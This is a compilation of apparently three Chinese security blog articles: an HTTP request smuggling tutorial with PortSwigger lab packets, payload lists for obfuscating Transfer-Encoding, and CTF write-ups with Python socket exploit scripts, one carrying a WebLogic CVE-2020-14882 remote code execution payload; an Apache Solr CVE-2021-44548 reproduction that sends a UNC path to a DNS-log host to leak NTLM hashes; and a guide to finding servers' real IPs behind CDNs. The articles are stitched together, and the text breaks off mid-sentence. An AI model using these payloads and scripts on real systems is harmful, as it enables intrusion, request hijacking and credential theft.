有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。  如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。  CL&TE  CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头(严格来讲前者是个实体头,为了方便就都用请求头代指)。这里比较有趣的是 Transfer-Encoding(HTTP/2 中不再支持),指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding#Directives 和 https://tools.ietf.org/  CL好理解,对于TE我们重点关注chunked。当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。譬如下面这个例子:  POST / HTTP/1.1  Host: example.com  Content-Type: application/x-www-form-urlencoded  Transfer-Encoding: chunked  b  //chunk_size  q=smuggling  6  hahaha  0  //end  [blank]  [blank]  另外要注意\r\n占2字节,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:  POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n   常见走私类型  1.CL不为0  如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。  例如我们构造出:  GET / HTTP/1.1\r\n  Host: example.com\r\n  Content-Length: 43\r\n  GET / admin HTTP/1.1\r\n  Host: example.com\r\n  \r\n  在前端服务器看来它是一个请求,但是在后端服务器来看它就是:  //第一个请求  GET / HTTP/1.1\r\n  Host: example.com\r\n  //第二个请求  GET / admin HTTP/1.1\r\n  Host: example.com\r\n  2.CL CL  在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。  https://tools.ietf.org/html/rfc7230#section-3.3.3  但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。  我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL,构造出如下HTTP包:  POST / HTTP/1.1\r\n  Host: example.com\r\n  Content-Length: 8\r\n  Content-Length: 7\r\n  12345\r\n  a  前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:  GET / HTTP/1.1\r\n  Host: example.com\r\n  这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成:  aGET / HTTP/1.1\r\n  Host: example.com\r\n  导致了请求走私,正常数据包被篡改。  但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。  3.CL TE  所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高。  我们可以构造出body中带有字节 0的请求包,前端服务器通过CL判断这是一个正常的数据包并转发给后端,后端服务器使用TE就会把字节0后的数据滞留到缓冲区,并且与下一次的正常请求进行拼接,这里用一下portswigger团队的lab作为实验:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te  构造如下请求包:  POST / HTTP/1.1\r\n  Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n  Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n  Sec-Ch-Ua-Mobile: ?0\r\n  Sec-Ch-Ua-Platform: "Windows"\r\n  Upgrade-Insecure-Requests: 1\r\n  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n  Sec-Fetch-Site: none\r\n  Sec-Fetch-Mode: navigate\r\n  Sec-Fetch-User: ?1\r\n  Sec-Fetch-Dest: document\r\n  Accept-Encoding: gzip, deflate\r\n  Accept-Language: zh-CN,zh;q=0.9\r\n  Connection: close\r\n  Content-Length: 10\r\n  Transfer-Encoding:chunked\r\n  \r\n  0\r\n  \r\n  A\r\n  \r\n  连续发送几次就会发现字母A被拼接到了下一请求中,导致了请求走私,当然也会报错。   4.TE CL  TE CL与CL TE正好相反,假如前端服务器处理TE请求头,而后端服务器处理CL请求头,我们同样可以构造恶意数据包完成走私攻击;依旧使用portswigger的lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl  我们构造出如下请求:  POST / HTTP/1.1  Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net  Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z  Cache-Control: max-age=0  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"  Sec-Ch-Ua-Mobile: ?0  Sec-Ch-Ua-Platform: "Windows"  Upgrade-Insecure-Requests: 1  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  Sec-Fetch-Site: cross-site  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: https://portswigger.net/  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9  Connection: close  Content-Type: application/x-www-form-urlencoded  Content-Length: 4  Transfer-Encoding: chunked  12  WPOST / HTTP/1.1  0  多次发送后发现:   WPOST被拆分了出来,重点关注body部分  \r\n  12\r\n  WPOST / HTTP/1.1\r\n  \r\n  0\r\n  \r\n  前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。  5.TE TE  TE-TE:前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。  lab:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header  构造出如下请求包:  POST / HTTP/1.1  Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net  Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG  Cache-Control: max-age=0  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"  Sec-Ch-Ua-Mobile: ?0  Sec-Ch-Ua-Platform: "Windows"  Upgrade-Insecure-Requests: 1  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  Sec-Fetch-Site: cross-site  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: https://portswigger.net/  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9  Connection: close  Content-Type: application/x-www-form-urlencoded  Content-Length: 4  Transfer-Encoding:chunked  //两种TE造成混淆  Transfer-Encoding:cow  5c  WPOST / HTTP/1.1  Content-Type: application/x-www-form-urlencoded  Content-Length: 15  x=1  0  多次发送后:   可以看到这里我们采用了:  Transfer-Encoding:chunked\r\n  Transfer-Encoding:cow\r\n  除了这种混淆方式,除了这些portswigger团队还给出了其它可用于TE混淆的payload:  Transfer-Encoding: xchunked  Transfer-Encoding[空格]: chunked  Transfer-Encoding: chunked  Transfer-Encoding: x  Transfer-Encoding:[tab]chunked  [空格]Transfer-Encoding: chunked  X: X[\n]Transfer-Encoding: chunked  Transfer-Encoding  : chunked  0x04 走私攻击应用实例  1.使用CL TE走私获取其他用户的请求  lab:https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/  打开页面是blog,用户可以在页面发表评论,由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头,譬如我们构造出如下请求:  POST / HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 333  Transfer-Encoding:chunked  Content-Type: application/x-www-form-urlencoded  0  POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring  前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求,而后半部分:  POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring  因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:  POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=ashAwdweas.......  这时候我们就发现请求头被拼接到了comment的后面然后被当作comment返回,这样我们就可能通过获取到其他用户的Cookie。  在lab中我们要不断第二个CL的大小,调整至合适大小才有可能正常泄露出来;我从700开始服务器报500,但不知道是哪里出了问题响应一直超时:   不过原理还是很好理解,大家可以自己去试一试,有点玄学。  2.泄露请求头重写请求实现未授权访问  前面我们提到,前端服务器的作用之一就是过滤外界用户对于未授权接口的访问,一般前端用户收到一段请求后,会在包里添加一些请求头例如: • 用户的session等会话ID。 • XFF头用于显示用户IP,当然一般不会是X-Forwarded-For因为很容易被猜到。 • 用户指纹信息、token等。  如果我们能泄露这些前端服务器向后端服务器中继发送的请求中的请求头,那么我们就可以伪造出前端服务器的请求包来完成对敏感接口的未授权访问,实现一些恶意操作。  那么问题来了,我们如何能获取到前端服务器发送到后端服务器的请求头呢?其实不难想,如果服务器能对我们输入的POST参数,即body部分响应输出,然后我们构造一个普通的请求放在body后面,前端服务器接收到之后就会对我们添加的请求进行重写,如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面,随后后端服务器会将其与响应一并返回。  这么讲可能还是有些抽象,我们拿lab来举例:  https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/  构造出如下请求包:  POST / HTTP/1.1  Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4  Content-Type: application/x-www-form-urlencoded  Content-Length: 77  Transfer-Encoding:chunked  0  POST / HTTP/1.1  Content-Length:70  Connection:close  search=111  多发送几次我们会发现成功泄露出来XFF头信息:   我们简单捋一下过程便于理解,首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。  我们走私到后端服务器被滞留在缓存区的请求是:  POST / HTTP/1.1  Content-Length:70  Connection:close  search=111  后端服务器接收到新请求并拼接在search之后是:  POST / HTTP/1.1  Content-Length:70  Connection:close  search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......  最后后端服务器就会将信息响应返回。  3.其它应用  除了这两种还有一些利用方式: • 反射型 XSS 组合拳 • 将 on-site 重定向变为开放式重定向 • 缓存投毒 • 缓存欺骗  这些@mengchen师傅在知道创宇404发的paper里都有实验讲解,感兴趣的可以去看一看。(paper链接在文末)  0x05 CTF实战利用  GKCTF2021[hackme]   这道题目首先是需要nosql注入爆出密码,然后登陆获得任意文件读取功能,前半部分我们暂且忽略,我们重点关注后半部分。  读取nginx配置文件发现后端存在weblogic服务:   同时注意到nginx版本为1.17.6,存在请求走私:   假如我们构造:  GET /a HTTP/1.1  Host: localhost  Content-Length: 56  GET /_hidden/index.html HTTP/1.1  Host: notlocalhost  那么nginx会把这两个请求都执行,这就会造成请求走私。可参考:https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81  针对这道题目我们构造出如下请求包:  GET /test HTTP/1.1  Host: node4.buuoj.cn:27230  Content-Length: 0  Transfer-Encoding: chunked  GET /console/login/LoginForm.jsp HTTP/1.1  Host: weblogic  响应包中包含了weblogic的版本信息:  WebLogic Server Version: 12.2.1.4.0  版本正好契合CVE-2020-14882,我们直接拿socket去打就可以拿到flag。  最终exp  //来源于https://www.lemonprefect.cn的博客  import socket  sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sSocket.connect(("node4.buuoj.cn", 26319))  payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdap  sSocket.send(payload)  sSocket.settimeout(2)  response = sSocket.recv(2147483647)  while len(response) > 0:     print(response.decode())     try:         response = sSocket.recv(2147483647)     except:         break  sSocket.close()   RCTF2019[esay calc]  常规绕waf  首先查看源码根据提示来到calc.php   代码对特殊字符进行了一些过滤,注意到最后代码执行,我们传入:  calc.php?num=;)phpinfo();//  执行后发现:   明显是有waf不合法请求,有一种做法是参数前面加空格使服务器无法解析绕waf,再用ascii转码读文件:  ? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))   走私绕waf  注意到只要能让前端服务器报错我们就能突破前端waf限制;所以事实上我们还可以利用走私攻击绕waf,而且前面四种方式都是有效的,这里举两个例子,剩下几种大家可以自行尝试:  注意下面的请求中num前没有空格了。  CL CL   CL TE    ISCC2022[让我康康!]  分析与利用   如果直接访问flag会爆403:   我们通过相应包的头部发现了gunicorn20.0,经查阅版本存在请求走私,具体可参考:  https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/  通过给出的POC我们编写脚本成功实现请求走私,看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag:   那么我的思路就是多次发送请求,并且设置前一个请求的CL为超过实际请求体的较大数值;由于后端服务器设置Keep-Alive,所以它会误认为请求没有发送完毕,会继续等待;而这时候我们再给前端服务器发送一个请求,前端服务器就会把带有来源IP头部的http包发送给后端服务器,后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端,从而造成了敏感信息泄露。  其实思路与上面讲到的应用实例2一样,只不过gunicorn20.0的走私漏洞是由于默认Sec-Websocket-Key的配置导致后端服务器会以xxxxxxxx为标识位,这就导致xxxxxxxx后面的部分会滞留在缓存区,可以认为是一种变种的CL TE走私。  我们可以通过burp直接构造请求,但是由于Content-Length需要我们自定义,比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求,所以构造的时候要额外小心。     当然我们直接写脚本拿socket发更直观。  最终exp  import socket  secret_payload=b'''POST / HTTP/1.1\r  Host: 59.110.159.206:7020\r  Content-Length: 149\r  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Content-Type: application/x-www-form-urlencoded\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxPOST / HTTP/1.1\r  Host:127.0.0.1\r  secr3t_ip: 127.0.0.1\r  Content-Length: 150\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=abc\r  \r  POST / HTTP/1.1\r  Content-Length: 14\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=111\r  \r  '''  final_payload=b'''POST / HTTP/1.1\r  Host: 59.110.159.206:7020\r  Content-Length: 152\r  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r  Content-Type: application/x-www-form-urlencoded\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxGET /fl4g HTTP/1.1\r  Host:127.0.0.1\r  secr3t_ip: 127.0.0.1\r  Content-Length: 150\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=abc\r  \r  POST / HTTP/1.1\r  Content-Length: 14\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=111\r  \r  '''  test1 = b'''POST / HTTP/1.1\r  Host: 127.0.0.1\r  Content-Length: 67\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxGET /fl4g HTTP/1.1\r  Host:127.0.0.1\r  Content-Length: 123\r  \r  GET / HTTP/1.1\r  Host: 127.0.0.1\r  \r  '''  test2=b'''POST / HTTP/1.1  Host: 59.110.159.206:7020  Content-Length: 10  Content-Type: application/x-www-form-urlencoded  search=123'''  sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sSocket.connect(("59.110.159.206", 7020))  def send(payload):     print(payload)     sSocket.send(payload)     sSocket.settimeout(2)     response = sSocket.recv(2147483647)     while len(response) > 0:         print(response.decode())         try:             response = sSocket.recv(2147483647)         except:             break     sSocket.close()  if __name__ == '__main__':     send(final_payload)   0x06 Reference  https://regilero.github.io/tag/Smuggling/  https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn  https://paper.seebug.org/1048  https://xz.aliyun.com/t/7501
CVE-2021-44548 Apache Solr 敏感信息泄露漏洞分析及复现
前言  由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。  如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。  一、漏洞原理  漏洞简述  Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。  2021年12月18日,Apache发布安全公告,Apache Solr中存在一个信息泄露漏洞(CVE-2021-44548),该漏洞影响了8.11.1之前的所有Apache Solr版本(仅影响Windows平台)。Apache Solr的DataImportHandler中存在一个不正确的输入验证漏洞,可利用Windows UNC路径从Solr主机调用网络上的另一台主机的SMB服务,或导致SMB攻击,从而造成: 敏感数据泄露,如系统用户哈希(NTLM/LM哈希); 在系统配置错误的情况下,SMB中继攻击可能导致用户在SMB共享中被冒充,或导致远程代码执行。  漏洞分析  根据抓包内容中请求URL参数,以及solrconfig.xml中可以看到  漏洞点出于DataImportHandler#handleRequestBody  如果传入的command=show-config并且传入config不为空则有一个openResource操作,且参数可控  看到solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource this.getInstancePath()得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1  再执行resolve("conf")变成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf  再执行resolve(resource)时,这里的WindowsPathType变成了UNC  resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数  resource以\\开头就能使inConfigDir完全可控,在Files.exists中就会去请求windows的unc路径  二、漏洞复现实战  影响版本  Apache Solr < 8.11.1 (仅Windows)  环境搭建  Solr漏洞环境下载地址:  https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip  1)打开命令行,进入bin目录下,运行solr.cmd start  2)再另一个命令行面板中执行solr.cmd create_core -c new_core  3)然后在solr-8.11.0\dist目录中添加三个jar包:  4)在solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由  5)在C:\Users\Administrator\Downloads\solr-8.11.0\server\solr\core1\conf目录下新建data-config.xml文件,内容如下: <dataConfig>  <dataSource type="JdbcDataSource"              driver="com.mysql.jdbc.Driver"              convertType="true"              url="jdbc:mysql://IP:Port/test"              user="XXXX"              password="XXXX"/>  <document>    <entity name="entity" query="SELECT id, title, content, tags FROM test_table" >    </entity>  </document> </dataConfig>  6)重新启动solr  漏洞复现  进入Solr后台,选择core为我们新配置的core。  选择Dataimport,查看Configuration,可以看到我们新配置的data-config的详细信息  我们点击reload并抓包  查看包内容,可以看到请求如下:  URL参数添加参数,构造payload  payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=&\\xxx\xxx  我们添加&expandMacros=false&config=\hdlr07.dnslog.cn\aaa,发送请求:  在DNSLog上可以看到收到请求  漏洞修复  目前此漏洞已经修复,建议受影响用户升级到Apache Solr 8.11.1。  下载链接:  https://solr.apache.org/downloads.html  缓解措施:  确保只有受信任的客户端才能向Solr的DataImporthandler发出请求  结束语  本文主要介绍了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及复现过程,漏洞主要利用DataImportHandler存在输入验证缺陷,最终利用SMB服务导致敏感信息泄露。
CDN绕过技术总汇
近日HVV培训以及面试,有人问了CDN该如何绕过找到目标真实IP,这向来是个老生常谈的问题,而且网上大多都有,但是有些不够全面,今天把绕过CDN全理一理。术语叫做“深入浅出”。  CDN简介  定义  内容分发网络(英语:Content Delivery Network或Content Distribution Network,缩写:CDN)是指一种透过https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%AF%E7%B6%B2互相连接的电脑网络系统,利用最靠近每位用户的服务器,更快、更可靠地将音乐、图片、视频、应用程序及其他文件发送给用户,来提供高性能、可扩展性及低成本的网络内容传递给用户。  CDN是利用缓存技术,解决如何将数据快速可靠从源站传递到用户的问题。用户获取数据时,不需要直接从源站获取,通过CDN分发,用户可以从一个较优的服务器获取数据,从而达到快速访问,并减少源站负载压力的目的(负载均衡)  工作过程 用户在浏览器输入域名,先向DNS服务器发送请求 DNS服务器将域名解析权交(通过CNAME)给CDN专用DNS服务器 客户端根据返回的ip访问CDN负载均衡设备 负载均衡设备根据当前的负载情况和用户所需内容,返回合适的ip 客户端最后根据ip访问对应的CDN缓存服务器  优点 缓解原服务器访问压力 解决互联互通难题 解决网站突发流量的问题 合理利用互联网资源 全面预防单点故障 改善用户的访问的质量和体验 提供全面、准确、和详细的数据统计 有效的防治黑客攻击源站 ......  适用范围  一般来说以资讯、内容等为主的网站,具有一定访问体量的网站 静态内容(html、js、css、image等,如图床) 视音频、大文件下载,分发加速:哔哩哔哩、腾讯等视频,百度云盘、蓝奏云等 视频直播加速:斗鱼、淘宝、虎牙直播 移动应用加速:移动app内图片、页面、短视频、UGC等内容,小程序等  像直播这一类必有CDN,因为一个网站直播流涌入大量用户,现在任何一家直播平台都没有直接负载的服务器能力。看直播再快的网速都有一定延迟的原因之一就是,需要在CDN里缓存一部分,用户从CDN里观看。  判断是否存在CDN  方法一:PingPingPing  不同地区对应着不同的CDN中心,所以使用不同站点的ping服务可分配到不同的CDN。这很简单,使用各种多站点ping服务来检查对应的IP地址是否唯一。如果不是唯一的,则使用大多数 CDN。多站Ping网站为:  http://ping.chinaz.com/http://ping.aizhan.com/http://tools.ipip.net/ping.php (强烈推荐这个,这个默认多站ping,真的很多)  方法二:nslookup  使用 nslookup 进行检测,原理同上,如果返回域名解析对应多个 IP 地址多半是使用了 CDN。  有 CDN 的示例: > ctfking.com 服务器:  public1.alidns.com Address:  223.5.5.5 非权威应答: 名称:    d831e3eec87f7d3c02a6-mini-l2.qcloudzygj.com Addresses:  106.55.85.170          106.55.85.167          106.55.86.71 Aliases:  ctfking.com          d14ca549ac628ef817e7beaa5095976f.qcloudwzgj.com  无CDN的示例: > nbufe.edu.cn 服务器:  public1.alidns.com Address:  223.5.5.5 名称:    nbufe.edu.cn  方法三:工具  https://www.cdnplanet.com/tools/cdnfinder/  CDN绕过  方法一:查询DNS解析记录  1.查看IP与域名绑定的历史记录。使用 CDN 之前可能有记录。相关查询网站为:  https://dnsdb.io/zh-cn/  https://x.threatbook.cn/  https://sitereport.netcraft.com/  https://tools.ipip.net/cdn.php(没错又是这个网站,它太猛了)  2.借助Securitytrails平台(https://securitytrails.com/)  攻击者可以查明真实的原始IP。他们只需在搜索字段中输入站点域名并按 ENTER,即可在左侧菜单中找到“历史数据”。  如何找到隐藏在 CloudFlare 或 Tor 背后的真实原始 IP?  除了过去的 DNS 记录,即使是当前的记录也可能泄露原始服务器 IP。例如,MX 记录是查找 IP 的常用方法。如果网站在与 Web 相同的服务器和 IP 上托管自己的邮件服务器,则原始服务器 IP 将在 MX 记录中。  方法二:查询子域名  毕竟CDN还是不便宜,所以很多站长可能只会在主站或者流量大的子站做一个CDN,而很多小站子站跟主站在同一个服务器或者同C段,此时可以通过子域对应的IP查询,帮助找到真实IP站点。 https://x.threatbook.cn/上面提到的微步在线功能强大,黑客只需输入域名即可查找(如baidu.com),点击子域选项即可找到其子域,但免费用户每月只有5次免费查询机会。 https://dnsdb.io/zh-cn/黑客只需要输入baidu.com TYPE:A就可以收集到百度的子域名和IP。 https://www.google.com/谷歌站点:baidu.com-www 可以看到除WWW以外的子域 子域扫描器 Layer子域名挖掘机和lijiejie的subdomain那个工具都很不错 推荐长亭的xray  方法三:网络空间引擎  fofa、鹰图、Zoomeye、shodan、360  推荐鹰图  只需输入:title:“网站的title关键字”或者body:“网站的body特征”就可以找出收录的有这些关键字的ip域名,很多时候能获取网站的真实ip  方法四:使用SSL证书寻找真实原IP  如果您在 xyz123boot.com 上托管服务,则原始服务器 IP 为 136.23.63.44。CloudFlare 将为您提供 DDoS 防护、Web 应用防火墙和其他一些https://www.webshell.cc/tag/security服务,以保护您的服务免受攻击。为此,您的 Web 服务器必须支持 SSL 并具有证书。此时,CloudFlare 与您的服务器之间的通信,就像您与 CloudFlare 之间的通信一样,将被加密(即没有灵活的 SSL)。这看起来很安全,但问题是当你直接连接到443端口(https://136.23.63.44:443)上的IP时,会暴露SSL证  此时,如果攻击者扫描0.0.0.0/0,整个互联网,就可以在xyz123boot.com的443端口获取有效证书,进而获取提供给你的web服务器IP。  目前,Censys 工具可以扫描整个互联网。Censys 是用于搜索联网设备信息的新搜索引擎。安全专家可以使用它来评估其实施的安全性,黑客可以使用它作为初步调查。攻击目标和收集目标信息的强大武器。Censys 搜索引擎可以扫描整个互联网。Censys每天扫描IPv4地址空间,搜索所有联网设备并收集相关信息,并返回资源(如设备、网站、证书等)配置和部署的整体报告。  攻击者唯一需要做的就是将上述搜索词转换为实际的搜索查询参数。  xyz123boot.com证书的搜索查询参数为:parsed.names: xyz123boot.com  只显示有效证书的查询参数为:tags.raw:trusted  攻击者可以在 Censys 上实现多个参数的组合,这可以通过使用简单的布尔逻辑来完成。  组合的搜索参数是:parsed.names:xyz123boot.com 和 tags.raw:trusted  Censys 将向您显示在扫描中找到的符合上述搜索条件的所有标准证书。  要一一查看这些搜索结果,攻击者可以通过单击右侧的“探索”来打开一个包含多个工具的下拉菜单。什么在使用这个证书?> IPv4 主机  使用给定的 SSL 证书  如果您是执法人员,并且想找到隐藏在 cheesecp5vaogohv.onion 下的儿童色情网站。最好的办法是找到它的原始IP,这样就可以追踪它的托管服务器,甚至可以找出它背后的运营商和财务线索。  隐藏服务具有 SSL 证书。要查找它使用的 IPv4 主机,只需将“SHA1 指纹”(签名证书的 sha1 值)粘贴到 Censys IPv4 主机搜索中即可找到证书。这种方法很容易找到配置错误的Web服务器。  方法五:使用HTTP头找到真正的原始IP  借助 SecurityTrails 这样的平台,任何人都可以在海量的大数据中搜索自己的目标,甚至可以通过比较 HTTP 标头找到原始服务器。  特别是当用户有一个非常特殊的服务器名称和软件名称时,攻击者更容易找到你。  如果要搜索的数据很多,如上所述,攻击者可以在 Censys 上组合搜索参数。假设您正在与 1500 个 Web 服务器共享您的服务器 HTTP 标头,所有这些服务器都发送相同的标头参数和值组合。而且您还使用新的 PHP 框架来发送唯一的 HTTP 标头(例如:X-Generated-Via: XYZ 框架),目前约有 400 位网站管理员使用该框架。最终,在三台服务器的交汇处,通过人工操作即可找到IP,整个过程仅需几秒。  例如,Censys上用于匹配服务器头的搜索参数为80.http.get.headers.server:,查找CloudFlare服务的网站的参数如下:  